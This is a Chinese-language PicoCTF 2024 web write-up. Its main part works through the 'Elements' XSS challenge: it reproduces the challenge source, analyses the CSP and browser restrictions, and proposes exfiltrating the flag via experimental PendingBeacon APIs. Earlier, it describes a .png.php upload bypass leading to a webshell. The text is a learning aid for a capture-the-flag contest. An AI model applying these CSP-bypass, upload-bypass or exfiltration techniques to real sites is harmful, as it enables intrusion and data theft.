PicoCTF2024 Web Writeup


清一下存货

Bookmarklet

web方向的签到题

打开以后能看到上图的代码

然后将其放到控制台运行就能出flag了

1
2
3
4
5
6
7
8
9
javascript:(function() {
var encryptedFlag = "àÒÆަȬë٣֖ÓÚåÛÑ¢ÕӖ¡›ÒŤ›í";
var key = "picoctf";
var decryptedFlag = "";
for (var i = 0; i < encryptedFlag.length; i++) {
decryptedFlag += String.fromCharCode((encryptedFlag.charCodeAt(i) - key.charCodeAt(i % key.length) + 256) % 256);
}
alert(decryptedFlag);
})();

WebDecode

打开f12查几个页面,在about.html的一个隐秘的地方发现了一串神秘字符串

放进赛博厨子就能解出来

Unminify

利用burp的内置浏览器打开f12即可,或者将f12后的源码直接复制到vscode中:

IntroToBurp

抽象题

Trickster

简单的文件上传,利用.png.php即可绕过

再不行就加个PNG头

改一下用蚁剑连就好

No SQL Injection

抽象题目2

利用burp

Nosql 注入从零到一_nosql注入-CSDN博客

Elements

接下来我要向您隆重介绍本次PicoCTF的抽象集大成者题目:Elements!

赛时:

如果对手是elements这种题目的话,可能会有点棘手呢?

会ak的!

你(elements)才是挑战者!

赛后:

没有让elements大人使出全力真是抱歉

好了,看下这个b题是啥玩意

背景是一个在线合成网站,将两种元素放在一起就能合成新元素,而系统给了我们四种初始元素

其源码如下:

index.mjs

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
import { createServer } from 'node:http';
import assert from 'node:assert';
import { spawn } from 'node:child_process';
import { mkdir, mkdtemp, writeFile, rm, readFile } from 'node:fs/promises';
import { tmpdir } from 'node:os';
import { join } from 'node:path';

const sleep = delay => new Promise(res => setTimeout(res, delay));

const html = await readFile('static/index.html', 'utf-8');
const js = await readFile('static/index.js', 'utf-8');
const flag = await readFile('flag.txt', 'utf-8');

let visiting = false;

async function visit(state) {
if (visiting) return;
visiting = true;

state = {...state, flag }

const userDataDir = await mkdtemp(join(tmpdir(), 'elements-'));

await mkdir(join(userDataDir, 'Default'));
await writeFile(join(userDataDir, 'Default', 'Preferences'), JSON.stringify({
net: {
network_prediction_options: 2
}
}));

const proc = spawn(
'/usr/bin/chromium-browser-unstable', [
`--user-data-dir=${userDataDir}`,
'--profile-directory=Default',
'--no-sandbox',
'--js-flags=--noexpose_wasm,--jitless',
'--disable-gpu',
'--no-first-run',
'--enable-experimental-web-platform-features',
`http://127.0.0.1:8080/#${Buffer.from(JSON.stringify(state)).toString('base64')}`
],
{ detached: true }
)

await sleep(10000);
try {
process.kill(-proc.pid)
} catch(e) {}
await sleep(500);

await rm(userDataDir, { recursive: true, force: true, maxRetries: 10 });

visiting = false;
}

createServer((req, res) => {
const url = new URL(req.url, 'http://127.0.0.1');

const csp = [
"default-src 'none'",
"style-src 'unsafe-inline'",
"script-src 'unsafe-eval' 'self'",
"frame-ancestors 'none'",
"worker-src 'none'",
"navigate-to 'none'"
]

// no seriously, do NOT attack the online-mode server!
// the solution literally CANNOT use it!
if (req.headers.host !== '127.0.0.1:8080') {
csp.push("connect-src https://elements.attest.lol/");
}

res.setHeader('Content-Security-Policy', csp.join('; '));
res.setHeader('Cross-Origin-Opener-Policy', 'same-origin');
res.setHeader('X-Frame-Options', 'deny');
res.setHeader('X-Content-Type-Options', 'nosniff');

if (url.pathname === '/') {
res.setHeader('Content-Type', 'text/html');
return res.end(html);
} else if (url.pathname === '/index.js') {
res.setHeader('Content-Type', 'text/javascript');
return res.end(js);
} else if (url.pathname === '/remoteCraft') {
try {
const { recipe, xss } = JSON.parse(url.searchParams.get('recipe'));
console.log(recipe);
console.log(xss);
assert(typeof xss === 'string');
assert(xss.length < 300);
assert(recipe instanceof Array);
assert(recipe.length < 50);
for (const step of recipe) {
console.log(step)
assert(step instanceof Array);
assert(step.length === 2);
for (const element of step) {
assert(typeof xss === 'string');
assert(element.length < 50);
}
}
visit({ recipe, xss });
} catch(e) {
console.error(e);
return res.writeHead(400).end('invalid recipe!');
}
return res.end('visiting!');
}

return res.writeHead(404).end('not found');
}).listen(8080);

index.js (bot)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
// this entire thing is basically a knockoff of infinite craft
// https://neal.fun/infinite-craft/

const onlineHost = 'https://elements.attest.lol';

const buttons = document.getElementById('elements');

// these were all generated by ai, yes they have some really weird results
const recipes = [["Ash","Fire","Charcoal"],["Steam Engine","Water","Vapor"],["Brick Oven","Heat Engine","Oven"],["Steam Engine","Swamp","Sauna"],["Magma","Mud","Obsidian"],["Earth","Mud","Clay"],["Volcano","Water","Volcanic Rock"],["Brick","Fog","Cloud"],["Obsidian","Rain","Black Rain"],["Colorful Pattern","Fire","Rainbow Fire"],["Cloud","Obsidian","Storm"],["Ash","Obsidian","Volcanic Glass"],["Electricity","Haze","Static"],["Fire","Water","Steam"],["Dust","Rainbow","Powder"],["Computer Chip","Steam Engine","Artificial Intelligence"],["Fire","Mud","Brick"],["Hot Spring","Swamp","Sulfur"],["Adobe","Graphic Design","Web Design"],["Colorful Interface","Data","Visualization"],["IoT","Security","Encryption"],["Colorful Pattern","Mosaic","Patterned Design"],["Earth","Steam Engine","Excavator"],["Cloud Computing","Data","Data Mining"],["Earth","Water","Mud"],["Brick","Fire","Brick Oven"],["Colorful Pattern","Obsidian","Art"],["Rain","Steam Engine","Hydropower"],["Colorful Display","Graphic Design","Colorful Interface"],["Fire","Mist","Fog"],["Exploit","Web Design","XSS"],["Computer Chip","Hot Spring","Smart Thermostat"],["Earth","Fire","Magma"],["Air","Earth","Dust"],["Cloud","Rainbow","Rainbow Cloud"],["Dust","Heat Engine","Sand"],["Obsidian","Thunderstorm","Lightning Conductor"],["Cloud","Rain","Thunderstorm"],["Adobe","Cloud","Software"],["Hot Spring","Rainbow","Colorful Steam"],["Dust","Fire","Ash"],["Cement","Swamp","Marsh"],["Hot Tub","Mud","Mud Bath"],["Electricity","Glass","Computer Chip"],["Ceramic","Fire","Earthenware"],["Haze","Swamp","Fog Machine"],["Rain","Rainbow","Colorful Display"],["Brick","Water","Cement"],["Dust","Haze","Sandstorm"],["Ash","Hot Spring","Geothermal Energy"],["Ash Rock","Heat Engine","Mineral"],["Electricity","Software","Program"],["Computer Chip","Fire","Data"],["Colorful Pattern","Swamp","Algae"],["Fog","Water","Rain"],["Rainbow Pool","Reflection","Color Spectrum"],["Artificial Intelligence","Data","Encryption"],["Internet","Smart Thermostat","IoT"],["Cinder","Heat Engine","Ash Rock"],["Brick","Swamp","Mudbrick"],["Computer Chip","Volcano","Data Mining"],["Obsidian","Water","Hot Spring"],["Computer Chip","Thunderstorm","Power Surge"],["Brick","Obsidian","Paving Stone"],["User Input","Visualization","Interactive Design"],["Mist","Mud","Swamp"],["Geolocation","Wall","Map"],["Air","Rock","Internet"],["Computer Chip","Rain","Email"],["Fire","Rainbow","Colorful Flames"],["Hot Spring","Mineral Spring","Healing Water"],["Ceramic","Volcano","Lava Lamp"],["Brick Oven","Wall","Fireplace"],["Glass","Software","Vulnerability"],["Fog","Mud","Sludge"],["Fire","Marsh","S'mores"],["Artificial Intelligence","Data Mining","Machine Learning"],["Ash","Brick","Brick Kiln"],["Fire","Obsidian","Heat Resistant Material"],["Hot Spring","Sludge","Steam Engine"],["Artificial Intelligence","Computer Chip","Smart Device"],["Fire","Steam Engine","Heat Engine"],["Ash","Earth","Cinder"],["Rainbow","Reflection","Refraction"],["Encryption","Software","Cybersecurity"],["Graphic Design","Mosaic","Artwork"],["Colorful Display","Data Mining","Visualization"],["Hot Spring","Water","Mineral Spring"],["Rainbow","Swamp","Reflection"],["Air","Fire","Smoke"],["Program","Smart HVAC System","Smart Thermostat"],["Haze","Obsidian","Blackout"],["Brick","Earth","Wall"],["Heat Engine","Steam Locomotive","Railway Engine"],["Ash","Thunderstorm","Volcanic Lightning"],["Mud","Water","Silt"],["Colorful Pattern","Hot Spring","Rainbow Pool"],["Fire","Sand","Glass"],["Art","Web Design","Graphic Design"],["Internet","Machine Learning","Smart HVAC System"],["Electricity","Power Surge","Overload"],["Colorful Pattern","Computer Chip","Graphic Design"],["Air","Water","Mist"],["Brick Oven","Cement","Concrete"],["Artificial Intelligence","Cloud","Cloud Computing"],["Computer Chip","Earth","Geolocation"],["Color Spectrum","Graphic Design","Colorful Interface"],["Internet","Program","Web Design"],["Computer Chip","Overload","Circuit Failure"],["Data Mining","Geolocation","Location Tracking"],["Heat Engine","Smart Thermostat","Smart HVAC System"],["Brick","Mud","Adobe"],["Cloud","Dust","Rainbow"],["Hot Spring","Obsidian","Hot Tub"],["Steam Engine","Volcano","Geothermal Power Plant"],["Earth","Fog","Haze"],["Brick","Steam Engine","Steam Locomotive"],["Brick","Colorful Pattern","Mosaic"],["Hot Spring","Steam Engine","Electricity"],["Ash","Volcano","Volcanic Ash"],["Electricity","Water","Hydroelectric Power"],["Brick","Rainbow","Colorful Pattern"],["Silt","Volcano","Lava"],["Computer Chip","Software","Program"],["Hot Spring","Thunderstorm","Lightning"],["Ash","Clay","Ceramic"],["Cybersecurity","Vulnerability","Exploit"],["Ash","Heat Engine","Ash Residue"],["Internet","Smart Device","Cloud Computing"],["Magma","Mist","Rock"],["Interactive Design","Program","Smart Device"],["Computer Chip","Electricity","Software"],["Colorful Pattern","Graphic Design","Design Template"],["Fire","Magma","Volcano"],["Earth","Obsidian","Computer Chip"],["Geolocation","Location Tracking","Real-Time Positioning"]];

const elements = new Map([["Sauna","💦"],["Railway Engine","🚂"],["Clay","🎨"],["Geolocation","📍"],["Colorful Steam","💨"],["Sand","🏖️"],["Visualization","📈"],["Heat Engine","🔩"],["Steam Locomotive","🚂"],["Patterned Design","🎨"],["Smoke","💨"],["Brick","🏠"],["Sandstorm","🌪️"],["Hot Tub","🛀"],["Cybersecurity","🔒"],["Lightning","⚡"],["Fireplace","🔥"],["Fog Machine","💨"],["Mud Bath","🛀"],["Earthenware","🍽️"],["Web Design","💻"],["Dust","🌀"],["Design Template","📋"],["Ceramic","🎨"],["Sulfur","💨"],["Algae","🌱"],["Computer Chip","💻"],["Rainbow Pool","🏊‍♀️"],["Internet","💻"],["Thunderstorm","🌩️"],["Cement","🏭"],["Data","📊"],["Oven","🍞"],["Geothermal Energy","🌋"],["Static","💭"],["Brick Oven","🍞"],["Mud","💦"],["Steam","🚂"],["S'mores","🍪"],["Graphic Design","🖋️"],["Art","🎨"],["Geothermal Power Plant","🌋"],["Circuit Failure","💣"],["Earth","🌍"],["Real-Time Positioning","📍"],["Power Surge","💥"],["Smart HVAC System","💻"],["Mosaic","🎨"],["Mudbrick","🏰"],["Smart Device","📱"], ['Security', '🔒'],['User Input', '📱'],["Vulnerability","🚨"],["Ash Residue","💔"],["Rock","🤘"],["Vapor","💨"],["Healing Water","💧"],["Excavator","🚧"],["Map","🗺️"],["Fire","🔥"],["Heat Resistant Material","🔥"],["Mist","💨"],["Air","💨"],["Swamp","🌿"],["Water","💧"],["IoT","📱"],["Hydropower","💧"],["Hydroelectric Power","💧"],["Reflection","💭"],["Volcano","🌋"],["Data Mining","💻"],["Smart Thermostat","💻"],["Storm","🌪️"],["Black Rain","🌩️"],["Rain","🌧"],["Blackout","💔"],["Haze","💨"],["Location Tracking","📍"],["Software","📊"],["Adobe","📢"],["Color Spectrum","🎨"],["Exploit","💰"],["Electricity","💡"],["Silt","🌀"],["Marsh","🐢"],["Glass","🍷"],["Volcanic Glass","🌋"],["Refraction","🔍"],["Colorful Display","🎨"],["Program","📊"],["Fog","🌫️"],["Steam Engine","🚂"],["Lava Lamp","💡"],["Cloud","☁️"],["Mineral Spring","💧"],["XSS","😈"],["Magma","🔥"],["Sludge","💢"],["Overload","😩"],["Mineral","💎"],["Volcanic Lightning","🌋"],["Ash Rock","🔥"],["Ash","🔥"],["Rainbow","🌈"],["Rainbow Cloud","🌈"],["Concrete","🏛️"],["Volcanic Rock","🌋"],["Artificial Intelligence","🤖"],["Powder","💨"],["Colorful Pattern","🎨"],["Cinder","👠"],["Interactive Design","📱"],["Machine Learning","🤖"],["Lightning Conductor","⚡"],["Hot Spring","🛀"],["Colorful Interface","🎨"],["Cloud Computing","💻"],["Rainbow Fire","🔥"],["Charcoal","🔥"],["Encryption","🔒"],["Volcanic Ash","🌋"],["Brick Kiln","🏭"],["Email","📧"],["Obsidian","🔥"],["Wall","🏰"],["Lava","🔥"],["Colorful Flames","🔥"],["Paving Stone","🛠️"],["Artwork","🎨"]]);

const cache = new Map();

let found = new Map([['Fire', '🔥'], ['Water', '💧'], ['Earth', '🌍'], ['Air', '💨'], ['Exploit','💰'], ['Web Design','💻']]);

if (localStorage.getItem('found')) {
found = new Map(JSON.parse(localStorage.getItem('found')));
}

let onlineMode = false;


let state = {};
(async () => {
try {
await fetch(`${onlineHost}/status`);
onlineMode = localStorage.getItem('online') ?? false;
document.getElementById('online-enabled').checked = onlineMode;
document.getElementById('online-enabled').onchange = () => {
if (localStorage.getItem('online') === null) {
alert("NOTE: Online mode exists purely for fun and is not part of the challenge solution. You should not attempt to hack the online mode server.\nPlease don't ruin the fun for everyone else by trying to abuse online mode!\nYou and your team WILL be disqualified if you're found to be trying to attack the server in any way.\nYOU HAVE BEEN WARNED!")
}
onlineMode = document.getElementById('online-enabled').checked;
localStorage.setItem('online', onlineMode);
}
document.getElementById('online').removeAttribute('hidden');
} catch(e) {}
})();

document.getElementById('search').onkeyup = () => {
for (const element of document.getElementsByClassName('element')) {
if (!element.innerText.toLowerCase().includes(document.getElementById('searchbox').value.toLowerCase())) {
element.setAttribute('hidden', true);
} else {
element.removeAttribute('hidden');
}
}
}

const evaluate = (...items) => {
const [a, b] = items.sort();
for (const [ingredientA, ingredientB, result] of recipes) {
console.log("a: " + a + "b: "+ b);
if (ingredientA === a && ingredientB == b) {
console.log(state.xss);
console.log(result);
if (result === 'XSS' && state.xss) {
console.log("eval here");
eval(state.xss);
}
return result;
}
}
return null;
}

const colliding = (elementA, elementB) => {
const [a, b] = [elementA.getBoundingClientRect(), elementB.getBoundingClientRect()];
return a.right >= b.left && a.left <= b.right && a.bottom >= b.top && a.top <= b.bottom;
}

const hash = (...args) => JSON.stringify(args);

const create = element => {
const tryCombine = async (into, hover) => {
const [a, b] = [into.getAttribute('data-name'), hover.getAttribute('data-name')].sort();

let result = evaluate(a, b);

if (onlineMode && !result) {
if (cache.has(hash(a, b))) {
result = cache.get(hash(a, b));
} else {
cache.set(hash(a, b), null);
let res;
try {
res = await (await fetch(`${onlineHost}/combine?a=${a}&b=${b}`)).json();
} catch(e) {
alert('failed to reach online mode endpoint!');
document.getElementById('online-enabled').click();
return;
}
if (!res.result) {
alert(JSON.stringify(res));
result = null;
cache.delete(hash(a, b));
} else {
const [element, emoji] = res.result;
elements.set(element, emoji);
result = element;
cache.set(hash(a, b), element);
}
}
}

if (result) {
if (!found.has(result)) {
create(result);
found.set(result, elements.get(result));
localStorage.setItem('found', JSON.stringify([...found.entries()]));
}
into.innerText = `${elements.get(result)} ${result}`;
into.setAttribute('data-name', result);
hover.remove();
}
}

const button = document.createElement('button');
button.innerText = `${elements.get(element)} ${element}`;
button.classList.add('element');

button.onmousedown = e => {
const atom = document.createElement('button');
atom.innerText = button.innerText;
atom.classList.add('atom');
atom.style.zIndex = 102;

atom.setAttribute('data-name', element);

const move = (x, y) => {
atom.style.left = `${x - atom.offsetWidth / 2}px`;
atom.style.top = `${y - atom.offsetHeight / 2}px`;
}

move(e.pageX, e.pageY);

const onMove = e => move(e.pageX, e.pageY);

document.addEventListener('mousemove', onMove);

atom.onmousedown = () => {
atom.style.zIndex = 102;
document.addEventListener('mousemove', onMove);
}

atom.onmouseup = async () => {
if (colliding(atom, buttons)) return atom.remove();
atom.style.zIndex = 101;
for (const other of document.getElementsByClassName('atom')) {
if (other === atom) continue;
other.style.zIndex = 100;
}
document.removeEventListener('mousemove', onMove);

const loadingOn = (...items) => {
for (const item of items) {
item.style.opacity = '50%';
}
}

const loadingOff = (...items) => {
for (const item of items) {
item.style.opacity = null;
}
}

for (const into of document.getElementsByClassName('atom')) {
if (into === atom) continue;
if (colliding(into, atom)) {
loadingOn(into, atom);
await tryCombine(into, atom);
loadingOff(into, atom);
}
}
}

atom.oncontextmenu = e => {
e.preventDefault();
atom.remove();
}

document.body.appendChild(atom);
}

buttons.appendChild(button);
}

for (const [element, emoji] of found.entries()) {
elements.set(element, emoji);
create(element);
}

try {
state = JSON.parse(atob(window.location.hash.slice(1)));
console.log(state);
console.log(found);
console.log(state.recipe);
for (const [a, b] of state.recipe) {
console.log([a, b]);
if (!found.has(a) || !found.has(b)) {
console.log("not found error");
break;
}
console.log("evaluate here");
const result = evaluate(a, b);
found.set(result, elements.get(result));
}
} catch(e) {console.log("error")}

慢慢看可以看得出来在index.mjs中的/remoteCraft可以访问visit函数,visit函数里起了一个新的chromium浏览器进程,它会带着base64加密后的state访问127.0.0.1:8080

然后state就有我们的flag

接下来就是将flag带出的问题

这里很容易想到xss,而且题目一直在暗示我们xss

remoteCraft里面需要我们传recipe参数,然后是一个json,json里面包含recipe和xss,它可以帮我们批量合成元素

然后xss和recipe都得有分别满足的条件

1
2
3
4
5
6
7
8
9
10
11
12
13
assert(typeof xss === 'string');
assert(xss.length < 300);
assert(recipe instanceof Array);
assert(recipe.length < 50);
for (const step of recipe) {
console.log(step)
assert(step instanceof Array);
assert(step.length === 2);
for (const element of step) {
assert(typeof xss === 'string');
assert(element.length < 50);
}
}

然后才能够进到visit

反正就是依托

再看index.js

有个evaluate函数能够eval我们传进去的state.xss

但是前面有检验

从总配方中取出配方再判断能不能合成xss(相当于问你有没有解锁xss,这里的found就是已经解锁的元素)

如果有就会eval(state.xss)

这里state = JSON.parse(atob(window.location.hash.slice(1)));

其实就是#后面的东西经过base64解码后的结果

这里不信可以自己手操一下

那这样就可以大概理解这个流程了:

  • 先解锁xss这个元素(或者找到解锁xss的路径),然后remoteCraft打payload
  • 打完payload后进入visit函数,然后起了一个新的浏览器进程
  • 该浏览器访问了127.0.0.1:8080,并且携带#data,data内有我们的payload
  • 通过evaluate函数进行eval(data),打xss并将flag带出

基本原理弄懂了,想打xss了,然后看看实际上有多困难

限制条件

  • CSP

在createServer里有一个csp:

1
2
3
4
5
6
7
8
const csp =  [
"default-src 'none'",
"style-src 'unsafe-inline'",
"script-src 'unsafe-eval' 'self'",
"frame-ancestors 'none'",
"worker-src 'none'",
"navigate-to 'none'"
]

这里我想利用johnfrod师傅的csp绕过:

绕csp

发现不行,他这个csp里的script-src不是unsafe-inline

而且也没有可以利用的cdn等网站

这里这个csp是基本上超级强大,如果有师傅知道这个csp能绕的话还请教教我T_T

  • 浏览器

这里浏览器还有一个policy.json的限制

1
{"URLAllowlist":["127.0.0.1:8080"],"URLBlocklist":["*"]}

只允许访问127.0.0.1:8080,限制了其他的页面

  • chromium.diff
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
diff --git a/third_party/blink/renderer/modules/peerconnection/rtc_peer_connection.idl b/third_party/blink/renderer/modules/peerconnection/rtc_peer_connection.idl
index f0948629cb..393e7c77e0 100644
--- a/third_party/blink/renderer/modules/peerconnection/rtc_peer_connection.idl
+++ b/third_party/blink/renderer/modules/peerconnection/rtc_peer_connection.idl
@@ -61,10 +61,7 @@ enum RTCPeerConnectionState {
// https://w3c.github.io/webrtc-pc/#interface-definition

[
- ActiveScriptWrappable,
- Exposed=Window,
- LegacyWindowAlias=webkitRTCPeerConnection,
- LegacyWindowAlias_Measure
+ ActiveScriptWrappable
] interface RTCPeerConnection : EventTarget {
// TODO(https://crbug.com/1318448): Deprecated `mediaConstraints` should be removed.
[CallWith=ExecutionContext, RaisesException] constructor(optional RTCConfiguration configuration = {}, optional GoogMediaConstraints mediaConstraints);

还有一段通过network_prediction_options:2的方式阻止了预加载

这里具体是啥呢?

看了国外大佬的解释,这里是说对WebRTCpeerconnection打补丁,因为在WebRTC中有一种利用DNS解析的方式从子域向外部发送消息,从而绕过csp的方法

Content Security Policy (CSP) Bypass | Japanese - Ht | HackTricks

同样道理,利用link标签的dns-prefetch预读功能就能够通过DNS绕过CSP

Content Security Policy (CSP) Bypass | Japanese - Ht | HackTricks

具体的文章也po在上面了

如果想看中文的可以看这个

Content Security Policy (CSP) Bypass | Chinese - Ht | HackTricks

所以各种绕csp的方法都被限制了

  • 内核版本

我这里受到XCTF的xssbot的影响,想着也能够靠CVE-2023-4357的chromeXXE来读flag,但是并不行

这边可以根据出题人给的docker文件来起环境,然后查看内核版本

这里很可惜,是Chromium 122.0.6261.111 unstable

是一个很新的内核(xxe的影响版本在Chrome < 116.0.5845.96)

Chrome Platform Status (chromestatus.com)

这个网址可以查看最新版内核

突破

所以这个题就很离谱,各种防御都做上了,基本上找不到能绕过的点

所以出题者是想让我们寻找新的绕过csp方法

突破口在哪呢?

在这个浏览器启动的参数:

1
2
3
4
5
6
7
8
9
10
11
12
13
const proc = spawn(
'/usr/bin/chromium-browser-unstable', [
`--user-data-dir=${userDataDir}`,
'--profile-directory=Default',
'--no-sandbox',
'--js-flags=--noexpose_wasm,--jitless',
'--disable-gpu',
'--no-first-run',
'--enable-experimental-web-platform-features',
`http://127.0.0.1:8080/#${Buffer.from(JSON.stringify(state)).toString('base64')}`
],
{ detached: true }
)

可以发现它启用了实验性功能,这些实验性功能有些可能会不受csp的控制

这就是突破点了,找一下内核122(或者之前的实验性功能),可以翻到Chrome 121里有一个fetch(它和xss里的fetch可能有联系)

这个api他能够发请求

大概意思是:他要在页面关掉之后才能发请求

pending-beacon/docs/fetch-later-api.md at main · WICG/pending-beacon · GitHub

反正读这个api就很抽象

按照平时页面关闭就能发请求,它这个肯定是能用了

但是它是直接把进程杀了。。。

导致请求发不过来,这就很难受

但是功夫不负有心人,可以在这个api文档里看到另一个pending-beacon-api(这个fetchlater的motivation)

它也是可以发请求的:

而且它还不需要等页面关闭,这里直接用这个pending beacon打就好了,注意,这里的pending beacon似乎只能够向https发送请求:

解决

利用脚本先找出xss的合成路线:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
recipes = [
["Ash", "Fire", "Charcoal"],
["Steam Engine", "Water", "Vapor"],
["Brick Oven", "Heat Engine", "Oven"],
["Steam Engine", "Swamp", "Sauna"],
["Magma", "Mud", "Obsidian"],
["Earth", "Mud", "Clay"],
["Volcano", "Water", "Volcanic Rock"],
["Brick", "Fog", "Cloud"],
["Obsidian", "Rain", "Black Rain"],
["Colorful Pattern", "Fire", "Rainbow Fire"],
["Cloud", "Obsidian", "Storm"],
["Ash", "Obsidian", "Volcanic Glass"],
["Electricity", "Haze", "Static"],
["Fire", "Water", "Steam"],
["Dust", "Rainbow", "Powder"],
["Computer Chip", "Steam Engine", "Artificial Intelligence"],
["Fire", "Mud", "Brick"],
["Hot Spring", "Swamp", "Sulfur"],
["Adobe", "Graphic Design", "Web Design"],
["Colorful Interface", "Data", "Visualization"],
["IoT", "Security", "Encryption"],
["Colorful Pattern", "Mosaic", "Patterned Design"],
["Earth", "Steam Engine", "Excavator"],
["Cloud Computing", "Data", "Data Mining"],
["Earth", "Water", "Mud"],
["Brick", "Fire", "Brick Oven"],
["Colorful Pattern", "Obsidian", "Art"],
["Rain", "Steam Engine", "Hydropower"],
["Colorful Display", "Graphic Design", "Colorful Interface"],
["Fire", "Mist", "Fog"],
["Exploit", "Web Design", "XSS"],
["Computer Chip", "Hot Spring", "Smart Thermostat"],
["Earth", "Fire", "Magma"],
["Air", "Earth", "Dust"],
["Cloud", "Rainbow", "Rainbow Cloud"],
["Dust", "Heat Engine", "Sand"],
["Obsidian", "Thunderstorm", "Lightning Conductor"],
["Cloud", "Rain", "Thunderstorm"],
["Adobe", "Cloud", "Software"],
["Hot Spring", "Rainbow", "Colorful Steam"],
["Dust", "Fire", "Ash"],
["Cement", "Swamp", "Marsh"],
["Hot Tub", "Mud", "Mud Bath"],
["Electricity", "Glass", "Computer Chip"],
["Ceramic", "Fire", "Earthenware"],
["Haze", "Swamp", "Fog Machine"],
["Rain", "Rainbow", "Colorful Display"],
["Brick", "Water", "Cement"],
["Dust", "Haze", "Sandstorm"],
["Ash", "Hot Spring", "Geothermal Energy"],
["Ash Rock", "Heat Engine", "Mineral"],
["Electricity", "Software", "Program"],
["Computer Chip", "Fire", "Data"],
["Colorful Pattern", "Swamp", "Algae"],
["Fog", "Water", "Rain"],
["Rainbow Pool", "Reflection", "Color Spectrum"],
["Artificial Intelligence", "Data", "Encryption"],
["Internet", "Smart Thermostat", "IoT"],
["Cinder", "Heat Engine", "Ash Rock"],
["Brick", "Swamp", "Mudbrick"],
["Computer Chip", "Volcano", "Data Mining"],
["Obsidian", "Water", "Hot Spring"],
["Computer Chip", "Thunderstorm", "Power Surge"],
["Brick", "Obsidian", "Paving Stone"],
["User Input", "Visualization", "Interactive Design"],
["Mist", "Mud", "Swamp"],
["Geolocation", "Wall", "Map"],
["Air", "Rock", "Internet"],
["Computer Chip", "Rain", "Email"],
["Fire", "Rainbow", "Colorful Flames"],
["Hot Spring", "Mineral Spring", "Healing Water"],
["Ceramic", "Volcano", "Lava Lamp"],
["Brick Oven", "Wall", "Fireplace"],
["Glass", "Software", "Vulnerability"],
["Fog", "Mud", "Sludge"],
["Fire", "Marsh", "S'mores"],
["Artificial Intelligence", "Data Mining", "Machine Learning"],
["Ash", "Brick", "Brick Kiln"],
["Fire", "Obsidian", "Heat Resistant Material"],
["Hot Spring", "Sludge", "Steam Engine"],
["Artificial Intelligence", "Computer Chip", "Smart Device"],
["Fire", "Steam Engine", "Heat Engine"],
["Ash", "Earth", "Cinder"],
["Rainbow", "Reflection", "Refraction"],
["Encryption", "Software", "Cybersecurity"],
["Graphic Design", "Mosaic", "Artwork"],
["Colorful Display", "Data Mining", "Visualization"],
["Hot Spring", "Water", "Mineral Spring"],
["Rainbow", "Swamp", "Reflection"],
["Air", "Fire", "Smoke"],
["Program", "Smart HVAC System", "Smart Thermostat"],
["Haze", "Obsidian", "Blackout"],
["Brick", "Earth", "Wall"],
["Heat Engine", "Steam Locomotive", "Railway Engine"],
["Ash", "Thunderstorm", "Volcanic Lightning"],
["Mud", "Water", "Silt"],
["Colorful Pattern", "Hot Spring", "Rainbow Pool"],
["Fire", "Sand", "Glass"],
["Art", "Web Design", "Graphic Design"],
["Internet", "Machine Learning", "Smart HVAC System"],
["Electricity", "Power Surge", "Overload"],
["Colorful Pattern", "Computer Chip", "Graphic Design"],
["Air", "Water", "Mist"],
["Brick Oven", "Cement", "Concrete"],
["Artificial Intelligence", "Cloud", "Cloud Computing"],
["Computer Chip", "Earth", "Geolocation"],
["Color Spectrum", "Graphic Design", "Colorful Interface"],
["Internet", "Program", "Web Design"],
["Computer Chip", "Overload", "Circuit Failure"],
["Data Mining", "Geolocation", "Location Tracking"],
["Heat Engine", "Smart Thermostat", "Smart HVAC System"],
["Brick", "Mud", "Adobe"],
["Cloud", "Dust", "Rainbow"],
["Hot Spring", "Obsidian", "Hot Tub"],
["Steam Engine", "Volcano", "Geothermal Power Plant"],
["Earth", "Fog", "Haze"],
["Brick", "Steam Engine", "Steam Locomotive"],
["Brick", "Colorful Pattern", "Mosaic"],
["Hot Spring", "Steam Engine", "Electricity"],
["Ash", "Volcano", "Volcanic Ash"],
["Electricity", "Water", "Hydroelectric Power"],
["Brick", "Rainbow", "Colorful Pattern"],
["Silt", "Volcano", "Lava"],
["Computer Chip", "Software", "Program"],
["Hot Spring", "Thunderstorm", "Lightning"],
["Ash", "Clay", "Ceramic"],
["Cybersecurity", "Vulnerability", "Exploit"],
["Ash", "Heat Engine", "Ash Residue"],
["Internet", "Smart Device", "Cloud Computing"],
["Magma", "Mist", "Rock"],
["Interactive Design", "Program", "Smart Device"],
["Computer Chip", "Electricity", "Software"],
["Colorful Pattern", "Graphic Design", "Design Template"],
["Fire", "Magma", "Volcano"],
["Earth", "Obsidian", "Computer Chip"],
["Geolocation", "Location Tracking", "Real-Time Positioning"],
]

graph = {}
# 根据合成表建图 邻接表
for hecheng in recipes:
graph[hecheng[2]] = hecheng[:2]


# 起点元素
